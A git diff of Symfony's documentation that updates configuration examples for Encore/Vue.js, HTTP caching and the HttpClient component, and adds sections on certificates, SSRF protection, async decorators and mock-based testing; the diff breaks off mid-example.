 .. _`VirtualBox`: https://www.virtualbox.org/
 .. _`VMWare`: https://www.vmware.com
 .. _`NFS`: https://en.wikipedia.org/wiki/Network_File_System
 .. _`polling`: https://webpack.js.org/configuration/watch/#watchoptionspoll
-.. _`it's not recommended to disable host checking`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck
+.. _`it's not recommended to disable the firewall`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck
diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index 3d10eedcd41..896c1e6de19 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -10,15 +10,15 @@ Want to use `Vue.js`_? No problem! First enable it in ``webpack.config.js``:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    // ...
+      // webpack.config.js
+      // ...
 
-    Encore
-        // ...
-        .addEntry('main', './assets/main.js')
+      Encore
+          // ...
+          .addEntry('main', './assets/main.js')
 
     +     .enableVueLoader()
-    ;
+      ;
 
 Then restart Encore. When you do, it will give you a command you can run to
 install any missing dependencies. After running that command and restarting
@@ -45,7 +45,7 @@ runtime. This means that you *can* do either of these:
     });
 
 If you do *not* need this functionality (e.g. you use single file components),
-then you can tell Encore to create a *smaller* and CSP-compliant build:
+then you can tell Encore to create a *smaller* build following Content Security Policy:
 
 .. code-block:: javascript
 
@@ -65,11 +65,15 @@ Hot Module Replacement (HMR)
 
 The ``vue-loader`` supports hot module replacement: just update your code and watch
 your Vue.js app update *without* a browser refresh! To activate it, use the
-``dev-server`` with the ``--hot`` option:
+``dev-server``:
 
 .. code-block:: terminal
 
-    $ yarn encore dev-server --hot
+    # if you use the Yarn package manager
+    $ yarn encore dev-server
+
+    # if you use the npm package manager
+    $ npm run dev-server
 
 That's it! Change one of your ``.vue`` files and watch your browser update. But
 note: this does *not* currently work for *style* changes in a ``.vue`` file. Seeing
@@ -85,18 +89,18 @@ You can enable `JSX with Vue.js`_ by configuring the second parameter of the
 
 .. code-block:: diff
 
-    // webpack.config.js
-    // ...
+      // webpack.config.js
+      // ...
 
-    Encore
-        // ...
-        .addEntry('main', './assets/main.js')
+      Encore
+          // ...
+          .addEntry('main', './assets/main.js')
 
     -     .enableVueLoader()
     +     .enableVueLoader(() => {}, {
     +         useJsx: true
     +     })
-    ;
+      ;
 
 Next, run or restart Encore. When you do, you will see an error message helping
 you install any missing dependencies. After running that command and restarting
diff --git a/http_cache.rst b/http_cache.rst
index 3e444c2d2b6..35620d1cd76 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -93,20 +93,20 @@ caching kernel:
 
 .. code-block:: diff
 
-    // public/index.php
+      // public/index.php
 
     + use App\CacheKernel;
-    use App\Kernel;
+      use App\Kernel;
 
-    // ...
-    $kernel = new Kernel($_SERVER['APP_ENV'], (bool) $_SERVER['APP_DEBUG']);
+      // ...
+      $kernel = new Kernel($_SERVER['APP_ENV'], (bool) $_SERVER['APP_DEBUG']);
     + // Wrap the default Kernel with the CacheKernel one in 'prod' environment
     + if ('prod' === $kernel->getEnvironment()) {
     +     $kernel = new CacheKernel($kernel);
     + }
 
-    $request = Request::createFromGlobals();
-    // ...
+      $request = Request::createFromGlobals();
+      // ...
 
 The caching kernel will immediately act as a reverse proxy: caching responses
 from your application and returning them to the client.
@@ -155,7 +155,7 @@ header to the response. You can also use the ``trace_level`` config
 option and set it to either ``none``, ``short`` or ``full`` to
 add this information.
 
-``short`` will add the information for the master request only.
+``short`` will add the information for the main request only.
 It's written in a concise way that makes it easy to record the
 information in your server log files. For example, in Apache you can
 use ``%{X-Symfony-Cache}o`` in ``LogFormat`` format statements.
@@ -310,7 +310,7 @@ Safe Methods: Only caching GET or HEAD requests
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 HTTP caching only works for "safe" HTTP methods (like GET and HEAD). This means
-two things:
+three things:
 
 * Don't try to cache PUT or DELETE requests. It won't work and with good reason.
   These methods are meant to be used when mutating the state of your application
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index 621f604ea95..7229608665e 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -88,10 +88,13 @@ First, to use ESI, be sure to enable it in your application configuration:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            // ...
-            'esi' => ['enabled' => true],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->esi()
+                ->enabled(true)
+            ;
+        };
 
 Now, suppose you have a page that is relatively static, except for a news
 ticker at the bottom of the content. With ESI, you can cache the news ticker
@@ -99,7 +102,7 @@ independently of the rest of the page::
 
     // src/Controller/DefaultController.php
     namespace App\Controller;
-    
+
     // ...
     class DefaultController extends AbstractController
     {
@@ -156,12 +159,12 @@ used ``render()``.
 
 .. note::
 
-    Symfony detects if a gateway cache supports ESI via another Akamai
-    specification that is supported out of the box by the Symfony reverse
-    proxy.
+    Symfony considers that a gateway cache supports ESI if its request include
+    the ``Surrogate-Capability`` HTTP header and the value of that header
+    contains the ``ESI/1.0`` string anywhere.
 
 The embedded action can now specify its own caching rules entirely independently
-of the master page::
+of the main page::
 
     // src/Controller/NewsController.php
     namespace App\Controller;
@@ -171,9 +174,8 @@ of the master page::
     {
         public function latest($maxPerPage)
         {
-            // ...
-            $response->setPublic();
-            $response->setMaxAge(60);
+            // sets to public and adds some expiration
+            $response->setSharedMaxAge(60);
 
             return $response;
         }
@@ -225,10 +227,14 @@ that must be enabled in your configuration:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'fragments' => ['path' => '/_fragment'],
-        ]);
+            $framework->fragments()
+                ->path('/_fragment')
+            ;
+        };
 
 One great advantage of the ESI renderer is that you can make your application
 as dynamic as needed and at the same time, hit the application as little as
diff --git a/http_cache/expiration.rst b/http_cache/expiration.rst
index d30893b58fe..ae436e631ee 100644
--- a/http_cache/expiration.rst
+++ b/http_cache/expiration.rst
@@ -34,7 +34,7 @@ additional directives):
 
 .. code-block:: text
 
-    Cache-Control: public, maxage=600
+    Cache-Control: public, max-age=600
 
 .. note::
 
diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst
index 94bab702db4..82654222f17 100644
--- a/http_cache/ssi.rst
+++ b/http_cache/ssi.rst
@@ -76,9 +76,13 @@ First, to use SSI, be sure to enable it in your application configuration:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'ssi' => ['enabled' => true],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->ssi()
+                ->enabled(true)
+            ;
+        };
 
 Suppose you have a page with private content like a Profile page and you want
 to cache a static GDPR content block. With SSI, you can add some expiration
@@ -86,7 +90,7 @@ on this block and keep the page private::
 
     // src/Controller/ProfileController.php
     namespace App\Controller;
-    
+
     // ...
     class ProfileController extends AbstractController
     {
@@ -126,7 +130,7 @@ The ``render_ssi`` twig helper will generate something like:
 
     <!--#include virtual="/_fragment?_hash=abcdef1234&_path=_controller=App\Controller\ProfileController::gdpr" -->
 
-``render_ssi`` ensures that SSI directive are generated only if the request
+``render_ssi`` ensures that SSI directive is generated only if the request
 has the header requirement like ``Surrogate-Capability: device="SSI/1.0"``
 (normally given by the web server).
 Otherwise it will embed directly the sub-response.
diff --git a/http_cache/validation.rst b/http_cache/validation.rst
index 3a1dabf902e..599d0883b52 100644
--- a/http_cache/validation.rst
+++ b/http_cache/validation.rst
@@ -106,7 +106,7 @@ doing so much work.
 
 .. tip::
 
-    Symfony also supports weak ``ETag``s by passing ``true`` as the second
+    Symfony also supports weak ``ETag`` s by passing ``true`` as the second
     argument to the
     :method:`Symfony\\Component\\HttpFoundation\\Response::setEtag` method.
 
diff --git a/http_client.rst b/http_client.rst
index 2fb102a0fcc..43109959e35 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -116,20 +116,21 @@ You can configure the global options using the ``default_options`` option:
             <framework:config>
                 <framework:http-client>
                     <framework:default-options max-redirects="7"/>
-                </framework-http-client>
+                </framework:http-client>
             </framework:config>
         </container>
 
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'default_options' => [
-                    'max_redirects' => 7,
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()
+                ->defaultOptions()
+                    ->maxRedirects(7)
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -137,6 +138,18 @@ You can configure the global options using the ``default_options`` option:
              'max_redirects' => 7,
         ]);
 
+You can also use the :method:`Symfony\\Contracts\\HttpClient\\HttpClientInterface::withOptions`
+method to retrieve a new instance of the client with new default options::
+
+    $this->client = $client->withOptions([
+        'base_uri' => 'https://...',
+        'headers' => ['header-name' => 'header-value']
+    ]);
+
+.. versionadded:: 5.3
+
+    The ``withOptions()`` method was introduced in Symfony 5.3.
+
 Some options are described in this guide:
 
 * `Authentication`_
@@ -176,19 +189,21 @@ The HTTP client also has one configuration option called
             <framework:config>
                 <framework:http-client max-host-connections="10">
                     <!-- ... -->
-                </framework-http-client>
+                </framework:http-client>
             </framework:config>
         </container>
 
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'max_host_connections' => 10,
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()
+                ->maxHostConnections(10)
                 // ...
-            ],
-        ]);
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -212,7 +227,7 @@ autoconfigure the HTTP client based on the requested URL:
             http_client:
                 scoped_clients:
                     # only requests matching scope will use these options
-                    github:
+                    github.client:
                         scope: 'https://api\.github\.com'
                         headers:
                             Accept: 'application/vnd.github.v3+json'
@@ -221,7 +236,7 @@ autoconfigure the HTTP client based on the requested URL:
 
                     # using base_uri, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs"))
                     # will default to these options
-                    github:
+                    github.client:
                         base_uri: 'https://api.github.com'
                         headers:
                             Accept: 'application/vnd.github.v3+json'
@@ -242,7 +257,7 @@ autoconfigure the HTTP client based on the requested URL:
             <framework:config>
                 <framework:http-client>
                     <!-- only requests matching scope will use these options -->
-                    <framework:scoped-client name="github"
+                    <framework:scoped-client name="github.client"
                         scope="https://api\.github\.com"
                     >
                         <framework:header name="Accept">application/vnd.github.v3+json</framework:header>
@@ -251,7 +266,7 @@ autoconfigure the HTTP client based on the requested URL:
 
                     <!-- using base-uri, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs"))
                          will default to these options -->
-                    <framework:scoped-client name="github"
+                    <framework:scoped-client name="github.client"
                         base-uri="https://api.github.com"
                     >
                         <framework:header name="Accept">application/vnd.github.v3+json</framework:header>
@@ -264,32 +279,26 @@ autoconfigure the HTTP client based on the requested URL:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'scoped_clients' => [
-                    // only requests matching scope will use these options
-                    'github' => [
-                        'scope' => 'https://api\.github\.com',
-                        'headers' => [
-                            'Accept' => 'application/vnd.github.v3+json',
-                            'Authorization' => 'token %env(GITHUB_API_TOKEN)%',
-                        ],
-                        // ...
-                    ],
-
-                    // using base_url, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs"))
-                    // will default to these options
-                    'github' => [
-                        'base_uri' => 'https://api.github.com',
-                        'headers' => [
-                            'Accept' => 'application/vnd.github.v3+json',
-                            'Authorization' => 'token %env(GITHUB_API_TOKEN)%',
-                        ],
-                        // ...
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // only requests matching scope will use these options
+            $framework->httpClient()->scopedClient('github.client')
+                ->scope('https://api\.github\.com')
+                ->header('Accept', 'application/vnd.github.v3+json')
+                ->header('Authorization', 'token %env(GITHUB_API_TOKEN)%')
+                // ...
+            ;
+
+            // using base_url, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs"))
+            // will default to these options
+            $framework->httpClient()->scopedClient('github.client')
+                ->baseUri('https://api.github.com')
+                ->header('Accept', 'application/vnd.github.v3+json')
+                ->header('Authorization', 'token %env(GITHUB_API_TOKEN)%')
+                // ...
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -326,10 +335,16 @@ Each client has a unique service named after its configuration.
 
 Each scoped client also defines a corresponding named autowiring alias.
 If you use for example
-``Symfony\Contracts\HttpClient\HttpClientInterface $myApiClient``
-as the type and name of an argument, autowiring will inject the ``my_api.client``
+``Symfony\Contracts\HttpClient\HttpClientInterface $githubClient``
+as the type and name of an argument, autowiring will inject the ``github.client``
 service into your autowired classes.
 
+.. note::
+
+    Read the :ref:`base_uri option docs <reference-http-client-base-uri>` to
+    learn the rules applied when merging relative URIs into the base URI of the
+    scoped client.
+
 Making Requests
 ---------------
 
@@ -419,31 +434,28 @@ each request (which overrides any global authentication):
                         auth-bearer="the-bearer-token"
                         auth-ntlm="the-username:the-password"
                     />
-                </framework-http-client>
+                </framework:http-client>
             </framework:config>
         </container>
 
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'scoped_clients' => [
-                    'example_api' => [
-                        'base_uri' => 'https://example.com/',
+        use Symfony\Config\FrameworkConfig;
 
-                        // HTTP Basic authentication
-                        'auth_basic' => 'the-username:the-password',
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()->scopedClient('example_api')
+                ->baseUri('https://example.com/')
+                // HTTP Basic authentication
+                ->authBasic('the-username:the-password')
 
-                        // HTTP Bearer authentication (also called token authentication)
-                        'auth_bearer' => 'the-bearer-token',
+                // HTTP Bearer authentication (also called token authentication)
+                ->authBearer('the-bearer-token')
 
-                        // Microsoft NTLM authentication
-                        'auth_ntlm' => 'the-username:the-password',
-                    ],
-                ],
-            ],
-        ]);
+                // Microsoft NTLM authentication
+                ->authNtlm('the-username:the-password')
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -495,8 +507,7 @@ associative array via the ``query`` option, that will be merged with the URL::
 Headers
 ~~~~~~~
 
-Use the ``headers`` option to define both the default headers added to all
-requests and the specific headers for each request:
+Use the ``headers`` option to define the default headers added to all requests:
 
 .. configuration-block::
 
@@ -505,8 +516,9 @@ requests and the specific headers for each request:
         # config/packages/framework.yaml
         framework:
             http_client:
-                headers:
-                    'User-Agent': 'My Fancy App'
+                default_options:
+                    headers:
+                        'User-Agent': 'My Fancy App'
 
     .. code-block:: xml
 
@@ -521,21 +533,24 @@ requests and the specific headers for each request:
 
             <framework:config>
                 <framework:http-client>
-                    <framework:header name="User-Agent">My Fancy App</framework:header>
-                </framework-http-client>
+                    <framework:default-options>
+                        <framework:header name="User-Agent">My Fancy App</framework:header>
+                    </framework:default-options>
+                </framework:http-client>
             </framework:config>
         </container>
 
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'headers' => [
-                    'User-Agent' => 'My Fancy App',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()
+                ->defaultOptions()
+                    ->header('User-Agent', 'My Fancy App')
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -546,7 +561,7 @@ requests and the specific headers for each request:
             ],
         ]);
 
-.. code-block:: php
+You can also set new headers or override the default ones for specific requests::
 
     // this header is only included in this request and overrides the value
     // of the same header if defined globally by the HTTP client
@@ -757,6 +772,48 @@ called when new data is uploaded or downloaded and at least once per second::
 Any exceptions thrown from the callback will be wrapped in an instance of
 ``TransportExceptionInterface`` and will abort the request.
 
+HTTPS Certificates
+~~~~~~~~~~~~~~~~~~
+
+HttpClient uses the system's certificate store to validate SSL certificates
+(while browsers use their own stores). When using self-signed certificates
+during development, it's recommended to create your own certificate authority
+(CA) and add it to your system's store.
+
+Alternatively, you can also disable ``verify_host`` and ``verify_peer`` (see
+:ref:`http_client config reference <reference-http-client>`), but this is not
+recommended in production.
+
+SSRF (Server-side request forgery) Handling
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.1
+
+    The SSRF protection was introduced in Symfony 5.1.
+
+`SSRF`_ allows an attacker to induce the backend application to make HTTP
+requests to an arbitrary domain. These attacks can also target the internal
+hosts and IPs of the attacked server.
+
+If you use an ``HttpClient`` together with user-provided URIs, it is probably a
+good idea to decorate it with a ``NoPrivateNetworkHttpClient``. This will
+ensure local networks are made inaccessible to the HTTP client::
+
+    use Symfony\Component\HttpClient\HttpClient;
+    use Symfony\Component\HttpClient\NoPrivateNetworkHttpClient;
+
+    $client = new NoPrivateNetworkHttpClient(HttpClient::create());
+    // nothing changes when requesting public networks
+    $client->request('GET', 'https://example.com/');
+
+    // however, all requests to private networks are now blocked by default
+    $client->request('GET', 'http://localhost/');
+
+    // the second optional argument defines the networks to block
+    // in this example, requests from 104.26.14.0 to 104.26.15.255 will result in an exception
+    // but all the other requests, including other internal networks, will be allowed
+    $client = new NoPrivateNetworkHttpClient(HttpClient::create(), ['104.26.14.0/23']);
+
 Performance
 -----------
 
@@ -813,9 +870,9 @@ Add an ``extra.curl`` option in your configuration to pass those extra options::
         // ...
         'extra' => [
             'curl' => [
-                CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V6
-            ]
-        ]
+                CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V6,
+            ],
+        ],
     ]);
 
 .. note::
@@ -848,7 +905,8 @@ To force HTTP/2 for ``http`` URLs, you need to enable it explicitly via the
         # config/packages/framework.yaml
         framework:
             http_client:
-                http_version: '2.0'
+                default_options:
+                    http_version: '2.0'
 
     .. code-block:: xml
 
@@ -862,18 +920,23 @@ To force HTTP/2 for ``http`` URLs, you need to enable it explicitly via the
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:http-client http-version="2.0"/>
+                <framework:http-client>
+                    <framework:default-options http-version="2.0"/>
+                </framework:http-client>
             </framework:config>
         </container>
 
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'http_version' => '2.0',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()
+                ->defaultOptions()
+                    ->httpVersion('2.0')
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -916,6 +979,8 @@ following methods::
 
     // you can get individual info too
     $startTime = $response->getInfo('start_time');
+    // e.g. this returns the final response URL (resolving redirections if needed)
+    $url = $response->getInfo('url');
 
     // returns detailed logs about the requests and responses of the HTTP transaction
     $httpLogs = $response->getInfo('debug');
@@ -964,7 +1029,7 @@ To abort a request (e.g. because it didn't complete in due time, or you want to
 fetch only the first bytes of the response, etc.), you can either use the
 ``cancel()`` method of ``ResponseInterface``::
 
-    $response->cancel()
+    $response->cancel();
 
 Or throw an exception from a progress callback::
 
@@ -985,21 +1050,32 @@ In case the response was canceled using ``$response->cancel()``,
 Handling Exceptions
 ~~~~~~~~~~~~~~~~~~~
 
+There are three types of exceptions, all of which implement the
+:class:`Symfony\\Contracts\\HttpClient\\Exception\\ExceptionInterface`:
+
+* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`
+  are thrown when your code does not handle the status codes in the 300-599 range.
+
+* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\TransportExceptionInterface`
+  are thrown when a lower level issue occurs.
+
+* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\DecodingExceptionInterface`
+  are thrown when a content-type cannot be decoded to the expected representation.
+
 When the HTTP status code of the response is in the 300-599 range (i.e. 3xx,
-4xx or 5xx) your code is expected to handle it. If you don't do that, the
-``getHeaders()``, ``getContent()`` and ``toArray()`` methods throw an appropriate exception, all of
-which implement the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`::
+4xx or 5xx), the ``getHeaders()``, ``getContent()`` and ``toArray()`` methods
+throw an appropriate exception, all of which implement the
+:class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`.
 
-    // the response of this request will be a 403 HTTP error
-    $response = $client->request('GET', 'https://httpbin.org/status/403');
+To opt-out from this exception and deal with 300-599 status codes on your own,
+pass ``false`` as the optional argument to every call of those methods,
+e.g. ``$response->getHeaders(false);``.
 
-    // this code results in a Symfony\Component\HttpClient\Exception\ClientException
-    // because it doesn't check the status code of the response
-    $content = $response->getContent();
+If you do not call any of these 3 methods at all, the exception will still be thrown
+when the ``$response`` object is destructed.
 
-    // pass FALSE as the optional argument to not throw an exception and return
-    // instead the original response content (even if it's an error message)
-    $content = $response->getContent(false);
+Calling ``$response->getStatusCode()`` is enough to disable this behavior
+(but then don't miss checking the status code yourself).
 
 While responses are lazy, their destructor will always wait for headers to come
 back. This means that the following request *will* complete; and if e.g. a 404
@@ -1026,19 +1102,9 @@ responses in an array::
 This behavior provided at destruction-time is part of the fail-safe design of the
 component. No errors will be unnoticed: if you don't write the code to handle
 errors, exceptions will notify you when needed. On the other hand, if you write
-the error-handling code, you will opt-out from these fallback mechanisms as the
-destructor won't have anything remaining to do.
-
-There are three types of exceptions:
-
-* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\HttpExceptionInterface`
-  are thrown when your code does not handle the status codes in the 300-599 range.
-
-* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\TransportExceptionInterface`
-  are thrown when a lower level issue occurs.
-
-* Exceptions implementing the :class:`Symfony\\Contracts\\HttpClient\\Exception\\DecodingExceptionInterface`
-  are thrown when a content-type cannot be decoded to the expected representation.
+the error-handling code (by calling ``$response->getStatusCode()``), you will
+opt-out from these fallback mechanisms as the destructor won't have anything
+remaining to do.
 
 Concurrent Requests
 -------------------
@@ -1064,6 +1130,13 @@ first and be read later on. This will allow the client to monitor all pending
 requests while your code waits for a specific one, as done in each iteration of
 the above "foreach" loop.
 
+.. note::
+
+    The maximum number of concurrent requests that you can perform depends on
+    the resources of your machine (e.g. your operating system may limit the
+    number of simultaneous reads of the file that stores the certificates
+    file). Make your requests in batches to avoid these issues.
+
 Multiplexing Responses
 ~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1238,6 +1311,7 @@ server-sent events. Use the :class:`Symfony\\Component\\HttpClient\\EventSourceH
 to wrap your HTTP client, open a connection to a server that responds with a
 ``text/event-stream`` content type and consume the stream as follows::
 
+    use Symfony\Component\HttpClient\Chunk\ServerSentEvent;
     use Symfony\Component\HttpClient\EventSourceHttpClient;
 
     // the second optional argument is the reconnection time in seconds (default = 10)
@@ -1480,12 +1554,131 @@ This allows using them where native PHP streams are needed::
     // later on if you need to, you can access the response from the stream
     $response = stream_get_meta_data($streamResource)['wrapper_data']->getResponse();
 
-Testing HTTP Clients and Responses
-----------------------------------
+Extensibility
+-------------
+
+If you want to extend the behavior of a base HTTP client, you can use
+:doc:`service decoration </service_container/service_decoration>`::
+
+    class MyExtendedHttpClient implements HttpClientInterface
+    {
+        private $decoratedClient;
+
+        public function __construct(HttpClientInterface $decoratedClient = null)
+        {
+            $this->decoratedClient = $decoratedClient ?? HttpClient::create();
+        }
+
+        public function request(string $method, string $url, array $options = []): ResponseInterface
+        {
+            // process and/or change the $method, $url and/or $options as needed
+            $response = $this->decoratedClient->request($method, $url, $options);
+
+            // if you call here any method on $response, the HTTP request
+            // won't be async; see below for a better way
+
+            return $response;
+        }
+
+        public function stream($responses, float $timeout = null): ResponseStreamInterface
+        {
+            return $this->decoratedClient->stream($responses, $timeout);
+        }
+    }
+
+A decorator like this one is useful in cases where processing the requests'
+arguments is enough. By decorating the ``on_progress`` option, you can
+even implement basic monitoring of the response. However, since calling
+responses' methods forces synchronous operations, doing so inside ``request()``
+will break async.
+
+The solution is to also decorate the response object itself.
+:class:`Symfony\\Component\\HttpClient\\TraceableHttpClient` and
+:class:`Symfony\\Component\\HttpClient\\Response\\TraceableResponse` are good
+examples as a starting point.
+
+.. versionadded:: 5.2
+
+    ``AsyncDecoratorTrait`` was introduced in Symfony 5.2.
+
+In order to help writing more advanced response processors, the component provides
+an :class:`Symfony\\Component\\HttpClient\\AsyncDecoratorTrait`. This trait allows
+processing the stream of chunks as they come back from the network::
+
+    class MyExtendedHttpClient implements HttpClientInterface
+    {
+        use AsyncDecoratorTrait;
+
+        public function request(string $method, string $url, array $options = []): ResponseInterface
+        {
+            // process and/or change the $method, $url and/or $options as needed
+
+            $passthru = function (ChunkInterface $chunk, AsyncContext $context) {
+                // do what you want with chunks, e.g. split them
+                // in smaller chunks, group them, skip some, etc.
+
+                yield $chunk;
+            };
+
+            return new AsyncResponse($this->client, $method, $url, $options, $passthru);
+        }
+    }
+
+Because the trait already implements a constructor and the ``stream()`` method,
+you don't need to add them. The ``request()`` method should still be defined;
+it shall return an
+:class:`Symfony\\Component\\HttpClient\\Response\\AsyncResponse`.
+
+The custom processing of chunks should happen in ``$passthru``: this generator
+is where you need to write your logic. It will be called for each chunk yielded
+by the underlying client. A ``$passthru`` that does nothing would just ``yield
+$chunk;``. You could also yield a modified chunk, split the chunk into many
+ones by yielding several times, or even skip a chunk altogether by issuing a
+``return;`` instead of yielding.
+
+In order to control the stream, the chunk passthru receives an
+:class:`Symfony\\Component\\HttpClient\\Response\\AsyncContext` as second
+argument. This context object has methods to read the current state of the
+response. It also allows altering the response stream with methods to create
+new chunks of content, pause the stream, cancel the stream, change the info of
+the response, replace the current request by another one or change the chunk
+passthru itself.
+
+Checking the test cases implemented in
+:class:`Symfony\\Component\\HttpClient\\Tests\\AsyncDecoratorTraitTest`
+might be a good start to get various working examples for a better understanding.
+Here are the use cases that it simulates:
+
+* retry a failed request;
+* send a preflight request, e.g. for authentication needs;
+* issue subrequests and include their content in the main response's body.
+
+The logic in :class:`Symfony\\Component\\HttpClient\\Response\\AsyncResponse`
+has many safety checks that will throw a ``LogicException`` if the chunk
+passthru doesn't behave correctly; e.g. if a chunk is yielded after an ``isLast()``
+one, or if a content chunk is yielded before an ``isFirst()`` one, etc.
+
+Testing
+-------
 
 This component includes the ``MockHttpClient`` and ``MockResponse`` classes to
-use them in tests that need an HTTP client which doesn't make actual HTTP
-requests.
+use in tests that shouldn't make actual HTTP requests. Such tests can be
+useful, as they will run faster and produce consistent results, since they're
+not dependent on an external service. By not making actual HTTP requests there
+is no need to worry about the service being online or the request changing
+state, for example deleting a resource.
+
+``MockHttpClient`` implements the ``HttpClientInterface``, just like any actual
+HTTP client in this component. When you type-hint with ``HttpClientInterface``
+your code will accept the real client outside tests, while replacing it with
+``MockHttpClient`` in the test.
+
+When the ``request`` method is used on ``MockHttpClient``, it will respond with
+the supplied ``MockResponse``. There are a few ways to use it, as described
+below.
+
+HTTP Client and Responses
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The first way of using ``MockHttpClient`` is to pass a list of responses to its
 constructor. These will be yielded in order when requests are made::
@@ -1516,6 +1709,19 @@ responses dynamically when it's called::
     $client = new MockHttpClient($callback);
     $response = $client->request('...'); // calls $callback to get the response
 
+If you need to test responses with HTTP status codes different than 200,
+define the ``http_code`` option::
+
+    use Symfony\Component\HttpClient\MockHttpClient;
+    use Symfony\Component\HttpClient\Response\MockResponse;
+
+    $client = new MockHttpClient([
+        new MockResponse('...', ['http_code' => 500]),
+        new MockResponse('...', ['http_code' => 404]),
+    ]);
+
+    $response = $client->request('...');
+
 The responses provided to the mock client don't have to be instances of
 ``MockResponse``. Any class implementing ``ResponseInterface`` will work (e.g.
 ``$this->createMock(ResponseInterface::class)``).
@@ -1601,11 +1807,126 @@ Then configure Symfony to use your callback:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'mock_response_factory' => MockClientCallback::class,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()
+                ->mockResponseFactory(MockClientCallback::class)
+            ;
+        };
+
+Testing Request Data
+~~~~~~~~~~~~~~~~~~~~
+
+The ``MockResponse`` class comes with some helper methods to test the request:
+
+* ``getRequestMethod()`` - returns the HTTP method;
+* ``getRequestUrl()`` - returns the URL the request would be sent to;
+* ``getRequestOptions()`` - returns an array containing other information about
+  the request such as headers, query parameters, body content etc.
+
+Usage example::
+
+    $mockResponse = new MockResponse('', ['http_code' => 204]);
+    $httpClient = new MockHttpClient($mockResponse, 'https://example.com');
+
+    $response = $httpClient->request('DELETE', 'api/article/1337', [
+        'headers' => [
+            'Accept: */*',
+            'Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l',
+        ],
+    ]);
+
+    $mockResponse->getRequestMethod();
+    // returns "DELETE"
+
+    $mockResponse->getRequestUrl();
+    // returns "https://example.com/api/article/1337"
+
+    $mockResponse->getRequestOptions()['headers'];
+    // returns ["Accept: */*", "Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l"]
+
+Full Example
+~~~~~~~~~~~~
+
+The following standalone example demonstrates a way to use the HTTP client and
+test it in a real application::
+
+    // ExternalArticleService.php
+    use Symfony\Contracts\HttpClient\HttpClientInterface;
+
+    final class ExternalArticleService
+    {
+        private HttpClientInterface $httpClient;
+
+        public function __construct(HttpClientInterface $httpClient)
+        {
+            $this->httpClient = $httpClient;
+        }
+
+        public function createArticle(array $requestData): array
+        {
